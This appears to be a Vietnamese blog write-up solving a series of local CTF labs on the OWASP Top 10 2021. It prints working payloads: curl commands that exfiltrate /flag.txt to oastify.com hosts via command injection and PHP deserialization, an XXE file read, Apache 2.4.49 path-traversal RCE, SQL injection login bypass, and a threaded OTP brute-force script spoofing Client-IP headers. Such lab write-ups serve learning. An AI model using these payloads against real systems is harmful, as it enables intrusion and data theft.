Tình cờ lướt FB thì thấy có một bài viết trong group WhiteHat share các bài LAB về top 10 OWASP 2021. Luôn tiện mình cũng đặt thử thách cho bản thân xem có thể hoàn thành hết được không :v Mục đích kiểm tra lại các kiến thức đã học trước giờ.
docker compose up -d
để runhttp://localhost:10010
account_number
mà không check session của user đó có quyền xem các user khác không.guest
<!-- Default Credential: guest/guest -->
Sau khi login thì chúng ta sẽ tiến hành khai thác lỗi để check các user khác (Mục đính cuối cùng là lấy FLAG) với ID 8073
Gắn biến accountNumber
của user cho session, nếu GET đến accountNumber
!= accountNumber
của session thì không thể thực hiện.
if ($accountDetails && $_SESSION['user_id'] == 8073){
echo "<h3>Bounty_Boys{Captured_The_Flag}</h3><br>";
}
/database.db
$password = md5($raw_password);
Sau khi crack ta có được account bountyboys/power
Ở bên trong file index.php có đoạn code bị dính lỗi command injection:
$search = $_GET["search"];
$command = "cut -d':' -f1 /etc/passwd | grep $search";
$returned_user = exec($command);
File flag.txt được đặt ở root, ta có thể thấy ở file DockerFile:
RUN echo "Bounty_Boys{Captured_The_Flag}" > /flag.txt
Payload:
`curl http://839zy413x9ta4wlamcwdr5557wdn1c.oastify.com -d @/flag.txt`
Mình sử dụng Backtick `` để biến $search đó thực thi đầu tiên, sau đó mới đến command của author: cut …
Ngoài ra bài có 1 vul RXSS :v Tuy nhiên không liên quan tới bài lắm :v
CVE-170144
và OTP của ID đó thì sẽ lấy được FLAGĐể bypass việc giới hạn IP, chúng ta sẽ sử dụng thêm header Client-IP
tạo ngẫu nhiên cho mỗi request brute fore
Mình viết đoạn script sau, cái chính là tạo random các IP, và sử dụng thêm thread để việc brute nhanh hơn:
import requests
import socket
import random
import threading
url = "http://localhost:4004/"
def generate_random_ipv4():
addresses = set()
while len(addresses) < 10000:
# Generate a random IPv4 address
ip_address = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
# Add the address to the set (to ensure uniqueness)
addresses.add(ip_address)
return list(addresses)
def generate_numbers():
number_strings = []
for number in range(10000):
# Convert the number to a 4-character string and append to the list
number_string = str(number).zfill(4)
number_strings.append(number_string)
return number_strings
def send_request(ip_address, otp):
headers = {"Client-IP": ip_address}
r = requests.post(url + "index.php", data={"id": "CVE-170144", "otp": otp}, headers=headers)
if "Wrong OTP" not in r.text:
print(r.text)
return True
return False
# Refresh OTP
requests.post(url + "generator.php", data={"id": "CVE-170144"})
# Generate random IPv4 addresses and numbers
ipv4_addresses = generate_random_ipv4()
otp_numbers = generate_numbers()
# Define a function to handle sending requests in parallel
def send_requests(start, end):
for i in range(start, end):
if i < len(ipv4_addresses) and i < len(otp_numbers):
if send_request(ipv4_addresses[i], otp_numbers[i]):
break
# Define the number of threads
num_threads = 100
# Divide the work among threads
chunk_size = len(ipv4_addresses) // num_threads
# Create and start threads
threads = []
for i in range(num_threads):
start = i * chunk_size
end = (i + 1) * chunk_size if i < num_threads - 1 else len(ipv4_addresses)
thread = threading.Thread(target=send_requests, args=(start, end))
threads.append(thread)
thread.start()
# Wait for all threads to finish
for thread in threads:
thread.join()
Bài này gửi input qua phương thức POST và dữ liệu XML chứa tên người dùng vào form rồi gửi tới server thông qua AJAX.
Ở line 4 trong index.php:
$xml = simplexml_load_string($xmlString, 'SimpleXMLElement', LIBXML_NOENT);
Việc sử dụng tham số LIBXML_NOENT
sẽ dẫn đến lỗi XXE Injection.
Payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///flag.txt">
]>
<userInfo><clientname>&file;</clientname></userInfo>
Trang web không có chức năng gì cả :v Ngoài một điều đáng chú ý là sử dụng Apache/2.4.49
Sau khi search về version này thì mình có thấy CVE-2021-41733
, khai thác được cả 2 lỗi: Path traversal và RCE
Tuy nhiên để RCE cần enable lại 2 chỗ trong file conf httpd.conf
như sau:
POC CVE: https://www.exploit-db.com/exploits/50383
Payload: curl http://localhost:6006/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -v --data 'echo;cat /flag.txt' -X POST
Hoặc
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt
Trang web có 2 chức năng: Register và Login
Mục tiêu của bài là làm sao đó có thể authen với user superuser
sẽ có FLAG:
$users = [
'superuser' => [
'content' => 'Bounty_Boys{Captured_The_Flag}'
]
];
Phần follow code sẽ như sau:
Khi gọi đến chức năng Register
-> Tiếp tục sẽ gọi đến hàm register_user
Hàm này sẽ check username đã tồn tại trong file db hay chưa.
Vậy lỗi xảy ra ở đâu :v
superuser
với một khoảng trắng ở sau, sẽ thoả mãn điều kiện chưa tồn tại. Sau đó session sẽ trở thành superuser
Request 1:
Request 2, sau đó redirect tới get Flag:
Sau khi input vào form, các giá trị sẽ gắn vào class Gun, và được lưu vào file theo session dưới dạng chuỗi serialized. Nếu như sử dụng button Show Guns, thì đoạn code sẽ gọi đến hàm unserialize
, convert lại chuỗi ser của session của mình.
Trong class Resource
có gọi đến một hàm system
dẫn đến việc bị command injection với unserialize nếu như attacker có thể control biến trong class Resource.
Trong đoạn code này, sau khi đọc file chuỗi ser theo session, thì $gun_data sử dụng hàm explode để convert thành các mảng bởi phân cách |
Như vậy ta sẽ lợi dụng dấu | tạo thêm một chuỗi ser gọi đến class Resource.
Tạo đoạn ser với class Resource như sau:
<?php
class Resource {
public $link;
public function __construct($link) {
$this->link = $link;
}
public function getgun() {
return system("curl " . $this->link);
}
}
$link = "http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`";
$a = new Resource($link);
$c = serialize($a) . PHP_EOL;
echo $c . PHP_EOL;
?>
Sau đó request với payload vừa tạo được:
name=GunName&type=GunType";}|O:8:"Resource":1:{s:4:"link";s:71:"http://fq9xa68djj7wvd1jyt9p7d90zr5ht6.oastify.com/?FLAG=`cat /flag.txt`";}|
Cuối cùng thì gọi đến ?action=show để hàm unserialize thực thi
"You should never use unserialize on user input"
Như tên của challenge, thì bài này config lỗi dẫn đến lộ file log truy cập từ các user, bằng các truy cập vào endpoint /logs.txt
Tuy nhiên để lấy được FLAG cần tìm đến vul khác
Với query Sql này ở dòng 11, dẫn đến việc bị SQL injection.
username=bountyboys' -- -&password=a
sẽ comment (vô hiệu hoá) đi đoạn password ở sau, query sẽ trở thành:SELECT account_number FROM users WHERE username = 'bountyboys' -- -' AND password = '$password'
, như vậy sẽ login mà không cần password.
Ở bài này sẽ thực hiện gen ảnh ra từ content url chúng ta input vào.
Bài này khá tương tự bài lab 4, ta cần OTP để xác thực cho id là CVE-170144
, tuy nhiên ở bài này, muốn lấy FLAG, thì cần ip truy cập từ mạng local:
$allowed_ip = '127.0.0.1';
$user_ip = $_SERVER['REMOTE_ADDR'];
if ($user_ip !== $allowed_ip) {
header('HTTP/1.0 403 Forbidden');
exit('You are not allowed to access this file.');
}
Lợi dụng chức năng get content từ url của trang web, mình sẽ khai thác nó để request vào local một cách hợp lệ (SSRF)
Request 1: Mình refresh lại OTP cho ID CVE-170144
trước
Request 2: Brute force OTP: http://127.0.0.1/local?id=CVE-170144&otp=
, và không bị limit request từ ip:
Mình tận dụng luôn Intruder của BurpSuite để bruteforce
Cảm ơn anh Hung Thinh Tran đã tạo ra các bài lab để mọi người học tập và trải nghiệm <3